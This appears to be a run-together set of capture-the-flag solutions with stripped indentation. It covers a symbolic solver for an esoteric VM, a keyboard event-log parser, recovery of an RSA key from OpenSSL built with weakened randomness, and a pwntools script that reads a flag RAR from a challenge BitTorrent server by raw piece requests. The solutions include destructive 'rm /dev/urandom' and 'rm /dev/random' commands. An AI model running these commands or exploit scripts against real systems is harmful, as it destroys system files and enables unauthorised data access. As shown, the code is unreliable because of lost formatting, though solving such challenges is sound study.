m++++++m+++++>z>>>>s<m++mm+m+++++m+++++++++>z>>>>s<m+mm++++++++m+++++m++++++>z>>>>s<m+++++m+++++m++++++mm>z>>>>s<m++m++mm++++++++m++++++++>z>>>>s<m++m++++++m++++++m++++++++m+++++++++>z>>>>s<m+m++++++++m++m+m+>z>>>>s<m+m+++++++++m+++++m++++++m+>z>>>>s<m++++mm+++m+++m++>z>>>>s<m+++m+++++++++m+++m++m+++++++>z>>>>s<m+++++m+++m++m+++++++m+++++>z>>>>s<m++m+++++m++++++++m++++m>z>>>>s<m+++++m+++m++m+++++m++++++++>z>>>>s<m+m+++++m++++++m++++++++m++>z>>>>s<m+++mm+++m+++++m+++++++>z>>>>s<m+++++++++m++++++++m++m++>z>>>>s<m+++m+++++++++m++++++++m+++++++++m++++++>z>>>>s<m+++mm+++++++m++++++++>z>>>>s<m++m+++m++++++++m+++>z>>>>s<m+++++mm+++m++++++m++++++++>z>>>>s<m++++++m+++m+m+m+>z>>>>s<m+++++m+mm+++++m++>z>>>>s<m+m+++m++++++m+++++++m+++++++++>z>>>>s<m+m++++++++m++++++++m+++m>z>>>>s<m+++m+++++m++++++++mm+++++>z>>>>s<m++++mm+++++++m+++m+++++++>z>>>>s<m++++m++++++++m++++++++m+++++++++m+++>z>>>>s<m++m+++mmm++++++>z>>>>s<m+++++m++++++++mm++++++m>z>>>>s<m++m+++++++++m+++++m+m+++++++++>z>>>>s<m+++m+++++++m+++m+++++m>z>>>>s<m++++++m+++++++++mm++>z>>>>s<m+m+m++++++++>z>>>>s<m++++++m+++++++>z>>>>s<m+m+m+>z>>>>s<m+m+m++++>z>>>>s<m+mm+>z>>>>s<m+++++++++m+++++++++>z>>>>s<m+m+m++++++>z>>>>s<m+++m+++>z>>>>s<m+m>z>>>>s<m++++++++m+++++++>z>>>>s<m+m+m>z>>>>s<m+mm+++>z>>>>s<m+++++m++++++++>z>>>>s<m+m++m+>zz<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>
[>>>l<<<<-
[+>>>>>>>-]+>>s<<>-
[+<<<<<<<-]+>>>>l<<<<<-
[+>>>>>>>-]+>>>s<<<>-
[+<<<<<<<-]+>>>>>l<<<<<<-
[+>>>>>>>-]+>>>>s<<<<>=
[->>l<s>>>>>>>>>>l<<<<<<<<s>>>>l<<<<<s<<=
[->>a<<]>-<=
[->>m<<]>-<=
[->>=<<]>-<=
[->>,<<]>-<=
[->>.<<]>-<>z>l>>>>>s<<<<z<z<<
]>-<=
[->>>>>>>l<<<<<s
[<<-
[+<<<<<<<-]+>>>>l<<<s>>>>l<<<s
[-<
[-l<->>>>>>>>s<+>]>
]<
[-l<-><<<<<<<s<+>]<<-
[+>>>>>>>-]+>>>z
]<<
]>-<=
[->>l>>>s
[-l>>>>s]>>l<<<-
[+<<<<-]+<<s>l>>s
[-l>>>>s]>>l<<<-
[+<<<<-]+<s<<+<
]>-<=
[->>l>>>s
[-l>>>>s]>+<<-
[+<<<<-]+<l>>s
[-l>>>>s]>>l<<<-
[+<<<<-]+>>-
[+>>>>-]>s<<<-
[+<<<<-]+<<<<
]>-<-
[+<<<<<<<-]+->>>>>>>+
]'''
vm_code = ''.join(vm_code.strip().split()) + '\x00'
jmps = [-1] * 10000
mem = [0] * 10000
def init_rec(uParm1):
global jmps
while True:
cVar1 = vm_code[uParm1];
while (vm_code[uParm1] != '['):
if (cVar1 == ']'):
return uParm1
if (cVar1 == '\x00'):
return -1;
uParm1 += 1;
cVar1 = vm_code[uParm1]
iVar2 = init_rec(uParm1 + 1)
jmps[uParm1] = iVar2
jmps[iVar2] = uParm1
uParm1 = iVar2 + 1
def init():
init_rec(0)
xs = [Int("x%d" % i) for i in range(34)]
s = Solver()
is_next_stop = False
init()
mem_cursor = 0
code_cursor = 0
reg = 0
curr_op = vm_code[0]
read_cnt = 0
while True:
if curr_op == '\x00':
break
elif curr_op == '#':
pass
elif curr_op == '+':
mem[mem_cursor] = (mem[mem_cursor] + 1) % 0x10001
elif curr_op == ',':
mem[mem_cursor] = xs[read_cnt]
read_cnt += 1
elif curr_op == '-':
mem[mem_cursor] = (mem[mem_cursor] + 0x10000) % 0x10001
elif curr_op == '.':
break
elif curr_op == '<':
mem_cursor -= 1
elif curr_op == '=':
if isinstance(mem[mem_cursor], ArithRef) or isinstance(mem[mem_cursor + 1], ArithRef):
s.add(mem[mem_cursor] == mem[mem_cursor + 1])
mem[mem_cursor] = 1
else:
mem[mem_cursor] = int(mem[mem_cursor] == mem[mem_cursor + 1])
elif curr_op == '>':
mem_cursor += 1
elif curr_op == '[':
if mem[mem_cursor] == 0:
code_cursor = jmps[code_cursor]
if code_cursor < 0:
print("Unbalanced [")
break
elif curr_op == ']':
if mem[mem_cursor] != 0:
code_cursor = jmps[code_cursor]
if code_cursor < 0:
print("Unbalanced ]")
break
elif curr_op == 'a':
mem[mem_cursor] = (mem[mem_cursor] + mem[mem_cursor + 1]) % 0x10001;
elif curr_op == 'l':
reg = mem[mem_cursor]
elif curr_op == 'm':
mem[mem_cursor] = (mem[mem_cursor] * mem[mem_cursor + 1]) % 0x10001;
elif curr_op == 's':
mem[mem_cursor] = reg
elif curr_op == 'z':
mem[mem_cursor] = 0
code_cursor += 1
curr_op = vm_code[code_cursor]
open('eso_vm.smt', 'w').write(s.to_smt2())
require 'sxp'
require 'matrix'
MOD = 65537
def parse(s_expr)
if s_expr.is_a?(Integer)
return s_expr
elsif s_expr.is_a?(Symbol)
ret = @var_map[s_expr]
unless ret
fail 'Not found: %s' % s_expr
end
return ret
end
cmd, a, b = s_expr
a = parse(a)
b = parse(b)
if cmd == :mod
fail unless b == 65537
return a
elsif cmd == :*
return (a * b).map{|a| a % MOD}
elsif cmd == :+
if b.is_a?(Integer)
bb = Vector.zero(N + 1)
bb[N] = b
b = bb
end
if a.is_a?(Integer)
aa = Vector.zero(N + 1)
aa[N] = a
a = aa
end
return (a + b).map{|a| a % MOD}
else
STDERR.puts cmd
fail
end
end
@var_map = {}
N = 34
34.times do |x|
vec = Vector.zero(N + 1)
vec[x] = 1
@var_map[('x%d' % x).to_sym] = vec
end
parsed= SXP.read(File.read('eso_vm.smt'))
parsed = parsed[111..-2]
M = Array.new(N){Array.new(N)}
vec = Array.new(N)
parsed.each.with_index do |p, i|
fail unless p[0] == :assert
p = p[1]
while true
if p[0] == :let
value_name = p[1][0][0]
expr = p[1][0][1]
@var_map[value_name] = parse(expr)
p = p[2]
else
cmd, a, b = p
a = parse(a)
b = parse(b)
pp [a, b]
vec[i] = (b - a[N]) % MOD
M[i] = a.to_a[0, N]
break
end
end
end
require 'json'
sage = <<EOS
mat = Matrix(GF(#{MOD}), #{M.to_json})
vec = vector(GF(#{MOD}), #{vec.to_json})
print mat.solve_right(vec)
EOS
File.write('solve.sage', sage)
system 'sage solve.sage'
/dev/input/event1
is event device file for Linux Input Subsystem.
Google will helps you to find some parser for this format:
#!/usr/bin/python
import struct
import time
import sys
import evdev
infile_path = (sys.argv[1] if len(sys.argv) > 1 else "0")
#long int, long int, unsigned short, unsigned short, unsigned int
FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(FORMAT)
#open file in binary mode
in_file = open(infile_path, "rb")
event = in_file.read(EVENT_SIZE)
keymap = evdev.ecodes.KEY
while event:
(tv_sec, tv_usec, type, code, value) = struct.unpack(FORMAT, event)
if type == 4 and code == 4:
print("{} pressed ({}.{})".format(keymap[value], tv_sec, tv_usec))
if type == 1 and value == 0:
print("{} released ({}.{})".format(keymap[code], tv_sec, tv_usec))
if type != 0 or code != 0 or value != 0:
print("Event type %u, code %u (%s), value %u (%s) at %d.%d" % \
(type, code, keymap[code], value, keymap[value], tv_sec, tv_usec))
else:
# Events with code, type and value == 0 are "separator" events
print("===========================================")
event = in_file.read(EVENT_SIZE)
in_file.close()
checking output, executed command was as following:
rm /dev/urandom
rm /dev/random
LANG=C date --utc > /dev/random
echo nyan >> /dev/random
curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xzvf openssl-1.1.1b.tar.gz
cd openssl-1.1.1b
vim crypto/rand/rand_unix.c
637G
d17d
621G
d2d
603G
dd
480G
d30d
:wq
vim crypto/rand/rand_lib.c
250G
d2d
:wq
./config
make -j4
cd ..
LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem
LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl rsautl -encrypt -inkey key.pem -in flag.txt -out encrypted
fg 1
then all we need to know is secret key used to encrypt file.
system 'rm /dev/urandom'
system 'rm /dev/random'
system "LANG=C faketime '2019-04-27 12:37:48' date --utc > /dev/random"
system 'echo nyan >> /dev/random'
(1000..10000).each do |i|
p i
system "FAKEPID=#{i} LD_LIBRARY_PATH=./openssl-1.1.1b faketime '2019-04-27 12:41:24' ./openssl-1.1.1b/apps/openssl genrsa 1024 > rsa.key 2> /dev/null"
system "FAKEPID=#{i} LD_LIBRARY_PATH=./openssl-1.1.1b faketime '2019-04-27 12:41:24' ./openssl-1.1.1b/apps/openssl rsautl -decrypt -inkey rsa.key -in encrypted 2> /dev/null | tee -a decrypted"
end
from pwn import *
# context.log_level = 'debug'
piece_size = 16777216
num_pices = 19201
def read_bytes(p, offset, size):
payload = ''
payload += p32(0xd, endianness='big')
payload += p8(6, endianness='big')
payload += p32(offset / piece_size, endianness='big')
payload += p32(offset % piece_size, endianness='big')
payload += p32(size, endianness='big')
p.send(payload)
return p.recvn(size + 0xd)[0xd:]
p = remote('34.85.75.40', 10001)
info_hash = '6ed7e46a243c10f612bfcdfddc9ce7d45dca6122'.decode('hex')
peer_id = '2d4c54303130302d567663694f7743566462667a'.decode('hex')
p.send('\x13BitTorrent protocol\x00\x00\x00\x00\x00\x10\x00\x05' + info_hash + peer_id)
rsp = p.recvn(68)
p.send('\x00\x00\x00\x01\x02')
p.recvn(0x96b)
read_length = u32(p.recvn(4), endianness='big')
p.recvn(read_length)
current_cursor = 0x14
while True:
header_offset = current_cursor + 3
header_buf = read_bytes(p, header_offset, 8)
head_flags, header_size, raw_data_size = u16(header_buf[0:2]), u16(header_buf[2:4]), u32(header_buf[4:8])
if head_flags & 0x100:
additional_header_offset = current_cursor + 0x20
additional_header_buf = read_bytes(p, additional_header_offset, 8)
HIGH_PACK_SIZE, HIGH_UNP_SIZE = u32(additional_header_buf[0:4]), u32(additional_header_buf[4:8])
skip_size = HIGH_PACK_SIZE * 0x100000000 + raw_data_size
fname_offset = current_cursor + 0x28
fname = read_bytes(p, fname_offset, 0x20).split('\x00')[0]
else:
skip_size = raw_data_size
fname_offset = current_cursor + 0x20
fname = read_bytes(p, fname_offset, 0x20).split('\x00')[0]
print('current_cursor : {0:x}'.format(current_cursor))
print('skip_size : {0:x}'.format(skip_size))
print('fname : {}'.format(fname))
if 'flag' in fname:
flag_buf = read_bytes(p, current_cursor, skip_size + header_size)
rar_header = '526172211A0700CF907300000D00000000000000'.decode('hex')
open('flag.rar', 'wb').write(rar_header + flag_buf)
break
current_cursor += skip_size + header_size